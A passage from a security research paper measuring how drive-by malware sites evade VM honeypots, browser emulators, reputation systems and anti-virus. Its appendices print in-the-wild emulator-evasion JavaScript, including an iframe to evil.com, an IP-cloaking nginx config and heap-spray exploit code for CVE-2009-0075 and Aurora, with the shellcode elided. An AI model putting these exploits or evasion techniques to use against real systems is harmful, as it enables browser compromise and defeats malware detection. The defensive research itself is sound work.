possible to flag the page based on the inclusion of content from a
cloaking domain.
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Figure 15: The graph shows sites with Exploit and New Process
signals.

6. MULTIFACETED MALWARE DETECTORS
As the results in Section 5 have shown, adversaries are actively

changing exploitation techniques to evade detection. These efforts
are not limited to any specific detection technique. In this section
we consider the potential for a multi-faceted approach thatlever-
ages a combination of signals from different detection systems. In
the following, we analyzeData Set II and present pair-wise com-
parisons between each of the four detection systems in the form of
stacked bar graphs. We refer to a positive output from a detection
system as asignal. The black and white bands denote the num-
ber of times one signal appeared on a site but not the other. The
gray band denotes the number of times both signals appeared at the
same time. Data is aggregated monthly by site over our four-year
measurement period.

Figure 15 demonstrates how Browser Emulation and VM hon-
eypots can be combined to increase detection rates. We denote the
signal output from the Browser Emulator asExploit. In the case
of VM detection we use the creation of new processes on the VM
as a signal labeledNewProcess. For example, in December, 2008,
120, 000 sites had the NewProcess signal,98, 000 had the Exploit
signal, and88, 000 sites had both. Although both signals appear
together on a large fraction of sites, during some time periods, they
cover significantly different cases. In January 2009, Browser Emu-
lation found43, 000 sites that did not trigger a NewProcess signal.
In June 2008, the NewProcess signal identified68, 000 sites that
were missed by emulation. Over the entire time period both signals
agreed60.3% of the time. The Exploit signal triggered by itself
9.3% of the time whereas the New Process signal occurred by it-
self 30.4% of the time. This indicates that neither signal suffices
to provide good detection, but both can be used to complementone
another.

Figures 16 and 17 compare both Exploit and NewProcess sig-
nals to Anti-Virus signals labeledVirus. On average, AV signals
and Exploit signals intersect on45.4% of the sites, although AV
signals appear on54.4% of sites that do not have Exploit signals.
On average, AV signals and NewProcess signals occur together on
57.3% of the sites. However, AV signals appear on39.4% of sites
where we did not get any NewProcess signals. AV engines trigger
independently on more sites in the data set. We investigatedthe
causes of the excess AV signals and noticed that many were dueto
AV signatures that flag web pages with resources, e.g., IFRAMEs,
pointing to web-sites that match certain regular expression patterns,
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Figure 16: The graph shows sites with Exploit and Virus signals.
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Figure 17: The graph shows sites with New Process and Virus
signals.

regardless of the content served by these sites. In other cases, AV
engines were flagging binary downloads delivered by social engi-
neering and thus did not trigger any exploit signals. As discussed
in Section 5.3, AV engines are susceptible to false positives in op-
erational settings, and thus cannot be solely relied upon toflag ma-
licious sites.

While each of the aforementioned detection technologies can be
combined to improve web malware detection, they all remain sus-
ceptible to IP cloaking which prevents the classifiers from seeing
malicious content. To illustrate the impact of cloaking we compare
the detection based on all the above signals combined versusde-
tection based on domain reputation. The bars labeledBadSignalin
Figure 18 show how often an Exploit, NewProcess, or Virus signal
occurs on a site in a given month. We compare this to sites thatin-
clude content from a site known to distribute malware labeled Rep-
utation. From 2007 through 2008,7.21% of sites had only a bad
reputation signal. In 2009, this number increased to36.5%, and
in 2010 it increased to48.5%. Note that the dramatic increase in
sites only detected by cloaking corresponds to the jump in cloaking
behavior in Figure 14. At the same time the number of sites with
only BadSignals remains low, which implies that our system is able
to boot strap classification of domains that cloak with only asmall
amount of data.

7. CONCLUSION
Researchers have proposed numerous approaches for detecting

the ever-increasing number of web sites spreading malware via
drive-by downloads. Adversaries have responded with a number
of techniques to bypass detection. This paper studies whether eva-
sive practices are effective, and whether they are being pursued at
a large scale.

Our study focuses on the four most prevalent detections tech-
niques: Virtual Machine honeypots, Browser Emulation honey-
pots, Classification based on Domain Reputation, and Anti-Virus
Engines. We measure the extent to which evasion affects eachof
these schemes by analyzing four years worth of data collected by
Google SafeBrowsing infrastructure. Our experiments corroborate
our hypothesis that malware authors continue to pursue delivery
mechanisms that can confuse different malware detection systems.
We find that Social Engineering is growing and poses challenges to
VM-based honeypots. JavaScript obfuscation that interacts heavily
with the DOM can be used to evade both Browser Emulators and
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Figure 18: The graph shows sites with bad signals vs sites that
include content from a site with bad reputation.

AV engines. In operational settings, AV Engines also suffersignifi-
cantly from both false positives and false negatives. Finally, we see
a rise in IP cloaking to thwart content-based detection schemes.

Despite evasive tactics, we show that adopting a multi-pronged
approach can improve detection rates. We hope that these observa-
tions will be useful to the research community. Furthermore, these
findings highlight important design considerations for operational
systems. For example, data that is served to the general public
might trade higher false negative rates for reduced false positives.
On the other hand, a private institution might tolerate higher false
positive rates to improve protection. Furthermore, a system that
serves more users might become a target of circumvention andthus
need to devote extra effort to detect cloaking.
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APPENDIX

A. ANALYSIS-RESISTANT JAVASCRIPT
Here we provide examples of code from the wild that actively

try to evade browser emulators. The code has been deobfuscated
for readability purposes. As discussed in Section 3, there are at
least three different browser characteristics that can be tested before
delivering a payload: JavaScript environment, parser capabilities,
and the DOM.
JavaScript Environment. IE’s JavaScript environment is differ-
ent than those provided by other open source JavaScript engines.
For example, IE allows; before acatch or finally clause in
JavaScript, whereas SpiderMonkey will report a parse error.

try{} ; catch(e) {} bad();

IE also supports case-insensitive access to ActiveX objectproper-
ties in JavaScript.

var obj=new ActiveXObject(objName);
obj.vAr=1; if (obj.VaR==1) bad();

Malicious web pages often identify emulators by testing that Ac-
tiveX creation returns sane values.

try {new ActiveXObject("asdf")} catch(e) {bad()}

IE also supports theexecScript method, which evaluates code
within the global scope, whereas other engines do not.

JavaScript and HTML Parsers. IE supports conditional compila-
tion in JavaScript [7], other browsers do not. Thus IE’s JavaScript
parser knows how to parse the following comment, and will gener-
ate code that calls the functionbad() only in the 32-bit version of
IE.

/* @cc_on
@if (@_win32)

bad();
@end

@ */

IE also supports conditional parsing in its HTML parser. Condi-
tional comments allow IE to execute code contingent upon version
numbers [6].

<!--[if IE 9]><iframe src=http://evil.com/</iframe><![endif]-->

Integration between the HTML parser and the scripting environ-
ment may also be tested by examining the behavior ofdocument.write.
The output of this call should be immediately handled by the parser,
and any side effects should be immediately propagated to theJavaScript
environment.

document.write("<div id=d></div>")
if (d.tagName=="DIV") bad()

The DOM. There are many ways in which the DOM can be probed
for feature-completeness. The snippet from the figure belowwas
found in the wild. It tests that the DOM implementation yields the
correct tree-like structure, even in the face of misnested close tags.
It also verifies that thetitle variable is correctly exposed within
thedocument object.

<html><head><title>split</title></head><body>
<b id="node" style="display:none;">999999qq
<i>99999999qqf<i>rom<i>Ch<i>a</i>rC</i>o</i>
d</i>e</i>qq</i>ev</i>alqqwin<i>do</i>w</b>
<script>
function nfc(node) {

var r = "";
for(var i=0; i<node.childNodes.length; i++) {

switch(node.childNodes[i].nodeType) {



case 1: r+=nfc(node.childNodes[i]); break;
case 3: r+=node.childNodes[i].nodeValue;

}
}
return r;

}

var nf = nfc(node)[document.title]("qq");
</script>
<script>
window["cccevalccc".substr(3,4)]("var nf_window="+nf[4]);
var data = "qq10qq118qq97[...]";

var data_array = data[document.title]("qq");
var jscript = "";
for (var i=1; i<data_array.length; i++)

jscript+=String[nf[2]](data_array[i]);
nf_window[nf[3]](jscript);

B. IP-BASED CLOAKING
nginx configuration file for disallowing requests from certain IP

addresses.

user apache;
worker_processes 2;

http {
...

#//G
deny XXX.XXX.160.0/19;
deny XXX.XXX.0.0/20;
deny XXX.XXX.64.0/19;
...

server {
listen 8080;
location / {

proxy_pass http://xxxxx.com:4480;
proxy_redirect off;
proxy_ignore_client_abort on;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_buffers 100 50k;
proxy_read_timeout 300;
proxy_send_timeout 300;

}
}

}

C. EXPLOIT FOR CVE-2009-0075

var sc = unescape("..."); // shellcode
var mem = new Array();
var ls = 0x100000 - (sc.length * 2 + 0x01020);
var b = unescape("%u0c0c%u0c0c");
while (b.length < ls / 2) b += b;

var lh = b.substring(0, ls / 2);
delete b;
for (i = 0; i < 0xc0; i++) mem[ i ] = lh + sc;

CollectGarbage();
var badsrc = unescape(

"%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var imgs = new Array();
for (var i = 0; i < 1000; i++)

imgs.push(document.createElement("img"));

obj1 = document.createElement("tbody");
obj1.click;
var obj2 = obj1.cloneNode();
obj1.clearAttributes();
obj1 = null;
CollectGarbage();
for (var i = 0; i < imgs.length; i++)

imgs[i].src = badsrc;
obj2.click;

Code to exploit the bug described by CVE-2009-0075.

D. THE “AURORA” EXPLOIT

<html><head><script>
var evt = null;
// SKIPPED: Generate shellcode and the spray heap.
var a = new Array();
for (i = 0; i < 200; i++) {

a[i] = document.createElement("COMMENT");
a[i].data = "abcd";

}

function ev1(evt) {
evt = document.createEventObject(evt);
document.getElementById("handle").innerHTML = "";
window.setInterval(ev2, 50);

}

function ev2() {
var data = unescape(
"%u0a0a%u0a0a%u0a0a%u0a0a"
"%u0a0a%u0a0a%u0a0a%u0a0a");
for (i = 0; i < a.length; i++)

a[i].data = data;
evt.srcElement;

}
</script></head><body>
<span id="handle"><img src="foo.gif" onload="ev1(event)" />
</span></body></html>

Code to exploit the bug described by CVE-2010-0249. Emulat-
ing this correctly requires a proper DOM implementation andevent
model.

E. DOM FUNCTIONS
This appendix provides the listing of functions and properties

that we labeled during JavaScript tracing. For properties,we differ-
entiate between read and write access, e.g. reading theinnerHTML
property is different than writing to it.

0 addEventListener
1 appendChild
2 attachEvent
3 body (read)
4 childNodes (read)
5 clearAttributes
6 createComment
7 createElement
8 createTextNode
9 detachEvent
10 documentElement (read)
11 firstChild (read)
12 getAttribute
13 getElementById
14 getElementsByClassName
15 getElementsByName
16 getElementsByTagName

17 hasAttribute
18 hasChildNodes
19 innerHTML (read)
20 innerHTML (write)
21 insertBefore
22 lastChild (read)
23 nextSibling (write)
24 outerHTML (read)
25 outerHTML (write)
26 parentNode (read)
27 previousSibling (read)
28 removeAttribute
29 removeChild
30 removeEventListener
31 setAttribute
32 text (read)
33 text (write)


